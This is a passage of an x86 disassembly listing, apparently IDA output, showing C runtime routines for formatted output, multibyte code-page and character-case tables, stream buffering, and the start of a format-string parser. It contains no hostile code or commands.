		push	eax
		call	sub_4206E6
		add	esp, 10h
		test	bl, 8
		jz	short loc_4205D3
		test	bl, 4
		jnz	short loc_4205D3
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_4206B5
		add	esp, 10h


loc_4205D3:				; CODE XREF: sub_41FF3F+67Bj
					; sub_41FF3F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_42061A
		cmp	[ebp+var_C], 0
		jle	short loc_42061A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_4205E8:				; CODE XREF: sub_41FF3F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_424663
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_42062F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_4206E6
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_4205E8
		jmp	short loc_42062F
; ---------------------------------------------------------------------------


loc_42061A:				; CODE XREF: sub_41FF3F+698j
					; sub_41FF3F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_4206E6
		add	esp, 10h


loc_42062F:				; CODE XREF: sub_41FF3F+6BCj
					; sub_41FF3F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_420647 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_4206B5
		add	esp, 10h


loc_420647:				; CODE XREF: sub_41FF3F+68j
					; sub_41FF3F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41FF6B


loc_420658:				; CODE XREF: sub_41FF3F+1Fj
					; sub_41FF3F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FF3F	endp

; ---------------------------------------------------------------------------
off_420660	dd offset loc_4200DE	; DATA XREF: sub_41FF3F+6Er
		dd offset loc_41FFB4	; jump table for switch	statement
		dd offset loc_41FFCF
		dd offset loc_42001B
		dd offset loc_420052
		dd offset loc_42005A
		dd offset loc_42008F
		dd offset loc_420122

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420680	proc near		; CODE XREF: sub_41FF3F+1BDp
					; sub_41FF3F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_420699
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_4206A4
; ---------------------------------------------------------------------------


loc_420699:				; CODE XREF: sub_420680+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41FE2A
		pop	ecx
		pop	ecx


loc_4206A4:				; CODE XREF: sub_420680+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_4206B1
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4206B1:				; CODE XREF: sub_420680+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_420680	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206B5	proc near		; CODE XREF: sub_41FF3F+65Ap
					; sub_41FF3F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_4206E3
		mov	esi, [esp+8+arg_C]


loc_4206C6:				; CODE XREF: sub_4206B5+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_4206E3
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_4206C6


loc_4206E3:				; CODE XREF: sub_4206B5+Bj
					; sub_4206B5+25j
		pop	edi
		pop	esi
		retn
sub_4206B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4206E6	proc near		; CODE XREF: sub_41FF3F+670p
					; sub_41FF3F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_42071A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_4206FC:				; CODE XREF: sub_4206E6+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_420680
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_42071A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_4206FC


loc_42071A:				; CODE XREF: sub_4206E6+Cj
					; sub_4206E6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4206E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_42071E	proc near		; CODE XREF: sub_41FF3F+E5p
					; sub_41FF3F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_42071E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42072B	proc near		; CODE XREF: sub_41FF3F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_42072B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42073B	proc near		; CODE XREF: sub_41FF3F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_42073B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420749	proc near		; CODE XREF: sub_420B0D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4208E2
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DD144
		mov	[ebp+arg_0], esi
		jz	loc_4208D6
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_4208CC
		xor	edx, edx
		mov	eax, offset dword_43D0A0


loc_42077D:				; CODE XREF: sub_420749+41j
		cmp	[eax], esi
		jz	short loc_4207F3
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43D190
		jl	short loc_42077D
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 2670000h
		cmp	eax, 1
		jnz	loc_4208C4
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		cmp	[ebp+var_18], 1
		mov	dword_4DD144, esi
		rep stosd
		stosb
		mov	dword_4DD364, ebx
		jbe	loc_4208B2
		cmp	[ebp+var_12], 0
		jz	loc_420888
		lea	ecx, [ebp+var_11]


loc_4207D0:				; CODE XREF: sub_420749+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_420888
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_4207E1:				; CODE XREF: sub_420749+A8j
		cmp	eax, edx
		ja	loc_42087C
		or	byte_4DD261[eax], 4
		inc	eax
		jmp	short loc_4207E1
; ---------------------------------------------------------------------------


loc_4207F3:				; CODE XREF: sub_420749+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DD260
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43D0B0[esi]


loc_42080F:				; CODE XREF: sub_420749+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_420842


loc_420816:				; CODE XREF: sub_420749+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_420842
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_42083B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43D098[edx]


loc_420830:				; CODE XREF: sub_420749+F0j
		or	byte_4DD261[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_420830


loc_42083B:				; CODE XREF: sub_420749+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_420816


loc_420842:				; CODE XREF: sub_420749+CBj
					; sub_420749+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_42080F
		mov	eax, [ebp+arg_0]
		mov	dword_4DD15C, 1
		push	eax
		mov	dword_4DD144, eax
		call	sub_42092C
		lea	esi, dword_43D0A4[esi]
		mov	edi, offset dword_4DD150
		movsd
		movsd
		pop	ecx
		mov	dword_4DD364, eax
		movsd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_42087C:				; CODE XREF: sub_420749+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_4207D0


loc_420888:				; CODE XREF: sub_420749+7Ej
					; sub_420749+8Bj
		push	1
		pop	eax


loc_42088B:				; CODE XREF: sub_420749+14Fj
		or	byte_4DD261[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_42088B
		push	esi
		call	sub_42092C
		pop	ecx
		mov	dword_4DD364, eax
		mov	dword_4DD15C, 1
		jmp	short loc_4208B8
; ---------------------------------------------------------------------------


loc_4208B2:				; CODE XREF: sub_420749+74j
		mov	dword_4DD15C, ebx


loc_4208B8:				; CODE XREF: sub_420749+167j
		xor	eax, eax
		mov	edi, offset dword_4DD150
		stosd
		stosd
		stosd
		jmp	short loc_4208D1
; ---------------------------------------------------------------------------


loc_4208C4:				; CODE XREF: sub_420749+51j
		cmp	dword_4DBE4C, ebx
		jz	short loc_4208DA


loc_4208CC:				; CODE XREF: sub_420749+27j
		call	sub_42095F


loc_4208D1:				; CODE XREF: sub_420749+131j
					; sub_420749+179j
		call	sub_420988


loc_4208D6:				; CODE XREF: sub_420749+1Dj
		xor	eax, eax
		jmp	short loc_4208DD
; ---------------------------------------------------------------------------


loc_4208DA:				; CODE XREF: sub_420749+181j
		or	eax, 0FFFFFFFFh


loc_4208DD:				; CODE XREF: sub_420749+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420749	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E2	proc near		; CODE XREF: sub_420749+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DBE4C, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420902
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 26608F7h
; ---------------------------------------------------------------------------


loc_420902:				; CODE XREF: sub_4208E2+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420917
		mov	dword_4DBE4C, 1
		nop
		jmp	near ptr 2660915h
; ---------------------------------------------------------------------------


loc_420917:				; CODE XREF: sub_4208E2+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42092B
		mov	eax, dword_4DBE94
		mov	dword_4DBE4C, 1

locret_42092B:				; CODE XREF: sub_4208E2+38j
		retn
sub_4208E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42092C	proc near		; CODE XREF: sub_420749+118p
					; sub_420749+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_420959
		sub	eax, 4
		jz	short loc_420953
		sub	eax, 0Dh
		jz	short loc_42094D
		dec	eax
		jz	short loc_420947
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_420947:				; CODE XREF: sub_42092C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_42094D:				; CODE XREF: sub_42092C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_420953:				; CODE XREF: sub_42092C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_420959:				; CODE XREF: sub_42092C+9j
		mov	eax, 411h
		retn
sub_42092C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095F	proc near		; CODE XREF: sub_420749:loc_4208CCp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DD260
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DD150
		mov	dword_4DD144, eax
		mov	dword_4DD15C, eax
		mov	dword_4DD364, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_42095F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420988	proc near		; CODE XREF: sub_420749:loc_4208D1p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DD144
		nop
		call	near ptr 2670000h
		cmp	eax, 1
		jnz	loc_420AC1
		xor	eax, eax
		mov	esi, 100h


loc_4209B2:				; CODE XREF: sub_420988+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_4209B2
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420A03
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_4209D1:				; CODE XREF: sub_420988+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_4209F8
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_4209F8:				; CODE XREF: sub_420988+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_4209D1
		pop	edi
		pop	ebx


loc_420A03:				; CODE XREF: sub_420988+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DD364
		push	dword_4DD144
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_4244F4
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DD364
		call	sub_4232A8
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DD144
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DD364
		call	sub_4232A8
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_420A7E:				; CODE XREF: sub_420988+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_420A9C
		or	byte_4DD261[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_420A94:				; CODE XREF: sub_420988+127j
		mov	byte_4DD160[eax], dl
		jmp	short loc_420AB8
; ---------------------------------------------------------------------------


loc_420A9C:				; CODE XREF: sub_420988+FCj
		test	dl, 2
		jz	short loc_420AB1
		or	byte_4DD261[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_420A94
; ---------------------------------------------------------------------------


loc_420AB1:				; CODE XREF: sub_420988+117j
		and	byte_4DD160[eax], 0


loc_420AB8:				; CODE XREF: sub_420988+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_420A7E
		jmp	short loc_420B0A
; ---------------------------------------------------------------------------


loc_420AC1:				; CODE XREF: sub_420988+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420AC8:				; CODE XREF: sub_420988+180j
		cmp	eax, 41h
		jb	short loc_420AE6
		cmp	eax, 5Ah
		ja	short loc_420AE6
		or	byte_4DD261[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_420ADE:				; CODE XREF: sub_420988+174j
		mov	byte_4DD160[eax], cl
		jmp	short loc_420B05
; ---------------------------------------------------------------------------


loc_420AE6:				; CODE XREF: sub_420988+143j
					; sub_420988+148j
		cmp	eax, 61h
		jb	short loc_420AFE
		cmp	eax, 7Ah
		ja	short loc_420AFE
		or	byte_4DD261[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_420ADE
; ---------------------------------------------------------------------------


loc_420AFE:				; CODE XREF: sub_420988+161j
					; sub_420988+166j
		and	byte_4DD160[eax], 0


loc_420B05:				; CODE XREF: sub_420988+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420AC8


loc_420B0A:				; CODE XREF: sub_420988+137j
		pop	esi
		leave
		retn
sub_420988	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B0D	proc near		; CODE XREF: ___:00423684p
					; ___:004236E0p ...
		cmp	dword_4DD394, 0
		jnz	short locret_420B28
		push	0FFFFFFFDh
		call	sub_420749
		pop	ecx
		mov	dword_4DD394, 1

locret_420B28:				; CODE XREF: sub_420B0D+7j
		retn
sub_420B0D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B29	proc near		; CODE XREF: sub_41C3B1+2Bp
					; sub_41C3B1+A6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	dword_4DD15C, 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	[ebp+arg_0], edi
		jnz	short loc_420B4D
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_41BFD0
		add	esp, 0Ch
		jmp	short loc_420BB0
; ---------------------------------------------------------------------------


loc_420B4D:				; CODE XREF: sub_420B29+11j
		mov	edx, [ebp+arg_8]
		push	esi
		test	edx, edx
		jz	short loc_420B92
		mov	ecx, [ebp+arg_4]


loc_420B58:				; CODE XREF: sub_420B29+5Bj
		mov	al, [ecx]
		dec	edx
		movzx	esi, al
		test	byte_4DD261[esi], 4
		mov	[edi], al
		jz	short loc_420B7C
		inc	edi
		inc	ecx
		test	edx, edx
		jz	short loc_420B88
		mov	al, [ecx]
		dec	edx
		mov	[edi], al
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B8E
		jmp	short loc_420B82
; ---------------------------------------------------------------------------


loc_420B7C:				; CODE XREF: sub_420B29+3Ej
		inc	edi
		inc	ecx
		test	al, al
		jz	short loc_420B92


loc_420B82:				; CODE XREF: sub_420B29+51j
		test	edx, edx
		jnz	short loc_420B58
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B88:				; CODE XREF: sub_420B29+44j
		and	byte ptr [edi-1], 0
		jmp	short loc_420B92
; ---------------------------------------------------------------------------


loc_420B8E:				; CODE XREF: sub_420B29+4Fj
		and	byte ptr [edi-2], 0


loc_420B92:				; CODE XREF: sub_420B29+2Aj
					; sub_420B29+57j ...
		mov	eax, edx
		dec	edx
		test	eax, eax
		pop	esi
		jz	short loc_420BAD
		lea	ecx, [edx+1]
		xor	eax, eax
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_420BAD:				; CODE XREF: sub_420B29+6Fj
		mov	eax, [ebp+arg_0]


loc_420BB0:				; CODE XREF: sub_420B29+22j
		pop	edi
		pop	ebp
		retn
sub_420B29	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BB3	proc near		; CODE XREF: sub_41C59D+12Bp

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_420BDE
		mov	eax, [ebp+arg_0]
		cmp	eax, 61h
		jl	loc_420C7C
		cmp	eax, 7Ah
		jg	loc_420C7C
		sub	eax, 20h
		jmp	loc_420C7C
; ---------------------------------------------------------------------------


loc_420BDE:				; CODE XREF: sub_420BB3+Cj
		mov	ebx, [ebp+arg_0]
		cmp	ebx, 100h
		jge	short loc_420C11
		cmp	dword_43D084, 1
		jle	short loc_420BFE
		push	2
		push	ebx
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420C09
; ---------------------------------------------------------------------------


loc_420BFE:				; CODE XREF: sub_420BB3+3Dj
		mov	eax, off_43CE78
		mov	al, [eax+ebx*2]
		and	eax, 2


loc_420C09:				; CODE XREF: sub_420BB3+49j
		test	eax, eax
		jnz	short loc_420C11


loc_420C0D:				; CODE XREF: sub_420BB3+AFj
		mov	eax, ebx
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C11:				; CODE XREF: sub_420BB3+34j
					; sub_420BB3+58j
		mov	edx, off_43CE78
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_420C34
		and	byte ptr [ebp+arg_0+2],	0
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		push	2
		jmp	short loc_420C3D
; ---------------------------------------------------------------------------


loc_420C34:				; CODE XREF: sub_420BB3+71j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		push	1


loc_420C3D:				; CODE XREF: sub_420BB3+7Fj
		pop	eax
		lea	ecx, [ebp+var_4]
		push	1
		push	0
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	200h
		push	dword_4DBE84
		call	sub_4232A8
		add	esp, 20h
		test	eax, eax
		jz	short loc_420C0D
		cmp	eax, 1
		jnz	short loc_420C6F
		movzx	eax, [ebp+var_4]
		jmp	short loc_420C7C
; ---------------------------------------------------------------------------


loc_420C6F:				; CODE XREF: sub_420BB3+B4j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx


loc_420C7C:				; CODE XREF: sub_420BB3+14j
					; sub_420BB3+1Dj ...
		pop	ebx
		leave
		retn
sub_420BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C7F	proc near		; CODE XREF: sub_41C7BC+1Dp
					; sub_41DC5E+16p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	edx, edx
		mov	dword_4DBDE0, ecx
		mov	eax, offset dword_43D190


loc_420C90:				; CODE XREF: sub_420C7F+1Ej
		cmp	ecx, [eax]
		jz	short loc_420CB4
		add	eax, 8
		inc	edx
		cmp	eax, offset dword_43D2F8
		jl	short loc_420C90
		cmp	ecx, 13h
		jb	short loc_420CC1
		cmp	ecx, 24h
		ja	short loc_420CC1
		mov	dword_4DBDDC, 0Dh
		retn
; ---------------------------------------------------------------------------


loc_420CB4:				; CODE XREF: sub_420C7F+13j
		mov	eax, dword_43D194[edx*8]
		mov	dword_4DBDDC, eax
		retn
; ---------------------------------------------------------------------------


loc_420CC1:				; CODE XREF: sub_420C7F+23j
					; sub_420C7F+28j
		cmp	ecx, 0BCh
		jb	short loc_420CDB
		cmp	ecx, 0CAh
		mov	dword_4DBDDC, 8
		jbe	short locret_420CE5


loc_420CDB:				; CODE XREF: sub_420C7F+48j
		mov	dword_4DBDDC, 16h

locret_420CE5:				; CODE XREF: sub_420C7F+5Aj
		retn
sub_420C7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CE6	proc near		; CODE XREF: sub_41C7E6+8p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42463D
		test	eax, eax
		pop	ecx
		jz	short loc_420D6F
		cmp	esi, offset dword_43D588
		jnz	short loc_420D04
		xor	eax, eax
		jmp	short loc_420D0F
; ---------------------------------------------------------------------------


loc_420D04:				; CODE XREF: sub_420CE6+18j
		cmp	esi, offset dword_43D5A8
		jnz	short loc_420D6F
		push	1
		pop	eax


loc_420D0F:				; CODE XREF: sub_420CE6+1Cj
		inc	dword_4DBFAC
		test	word ptr [esi+0Ch], 10Ch
		jnz	short loc_420D6F
		cmp	dword_4DBE50[eax*4], 0
		push	ebx
		push	edi
		lea	edi, ds:4DBE50h[eax*4]
		mov	ebx, 1000h
		jnz	short loc_420D55
		push	ebx
		call	sub_41BEB5
		test	eax, eax
		pop	ecx
		mov	[edi], eax
		jnz	short loc_420D55
		lea	eax, [esi+14h]
		push	2
		mov	[esi+8], eax
		mov	[esi], eax
		pop	eax
		mov	[esi+18h], eax
		mov	[esi+4], eax
		jmp	short loc_420D62
; ---------------------------------------------------------------------------


loc_420D55:				; CODE XREF: sub_420CE6+4Dj
					; sub_420CE6+5Aj
		mov	edi, [edi]
		mov	[esi+18h], ebx
		mov	[esi+8], edi
		mov	[esi], edi
		mov	[esi+4], ebx


loc_420D62:				; CODE XREF: sub_420CE6+6Dj
		or	word ptr [esi+0Ch], 1102h
		push	1
		pop	eax
		pop	edi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D6F:				; CODE XREF: sub_420CE6+10j
					; sub_420CE6+24j ...
		xor	eax, eax
		pop	esi
		retn
sub_420CE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_420D73	proc near		; CODE XREF: sub_41C7E6+24p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0
		push	esi
		jz	short loc_420D9D
		mov	esi, [esp+4+arg_4]
		test	byte ptr [esi+0Dh], 10h
		jz	short loc_420DAE
		push	esi
		call	sub_41E42B
		and	byte ptr [esi+0Dh], 0EEh
		and	dword ptr [esi+18h], 0
		and	dword ptr [esi], 0
		and	dword ptr [esi+8], 0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420D9D:				; CODE XREF: sub_420D73+6j
		mov	eax, [esp+4+arg_4]
		test	byte ptr [eax+0Dh], 10h
		jz	short loc_420DAE
		push	eax
		call	sub_41E42B
		pop	ecx


loc_420DAE:				; CODE XREF: sub_420D73+10j
					; sub_420D73+32j
		pop	esi
		retn
sub_420D73	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420DB0	proc near		; CODE XREF: sub_41CCE3+2Ap

var_1C4		= byte ptr -1C4h
var_1C3		= byte ptr -1C3h
var_64		= byte ptr -64h
var_59		= byte ptr -59h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_37		= byte ptr -37h
var_35		= byte ptr -35h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C4h
		and	[ebp+var_15], 0
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		push	edi
		mov	al, [esi]
		mov	[ebp+var_4], ebx
		test	al, al
		mov	[ebp+var_34], ebx
		jz	loc_4217B6
		mov	edi, [ebp+arg_0]
		jmp	short loc_420DDF
; ---------------------------------------------------------------------------


loc_420DDA:				; CODE XREF: sub_420DB0+9CEj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx


loc_420DDF:				; CODE XREF: sub_420DB0+28j
		cmp	dword_43D084, 1
		jle	short loc_420DF7
		movzx	eax, al
		push	8
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		jmp	short loc_420E06
; ---------------------------------------------------------------------------


loc_420DF7:				; CODE XREF: sub_420DB0+36j
		mov	ecx, off_43CE78
		movzx	eax, al
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_420E06:				; CODE XREF: sub_420DB0+45j
		cmp	eax, ebx
		jz	short loc_420E40
		dec	[ebp+var_4]
		push	edi
		lea	eax, [ebp+var_4]
		push	edi
		push	eax
		call	sub_42183D
		pop	ecx
		pop	ecx
		push	eax
		call	sub_421826
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		add	esp, 0Ch


loc_420E2E:				; CODE XREF: sub_420DB0+8Ej
		test	eax, eax
		jz	short loc_420E40
		movzx	eax, byte ptr [esi+1]
		inc	esi
		push	eax
		call	sub_41DF10
		pop	ecx
		jmp	short loc_420E2E
; ---------------------------------------------------------------------------


loc_420E40:				; CODE XREF: sub_420DB0+58j
					; sub_420DB0+80j
		cmp	byte ptr [esi],	25h
		jnz	loc_421722
		and	[ebp+var_35], 0
		and	[ebp+var_18], 0
		and	[ebp+var_17], 0
		and	[ebp+var_E], 0
		and	[ebp+var_F], 0
		and	[ebp+var_16], 0
		xor	edi, edi
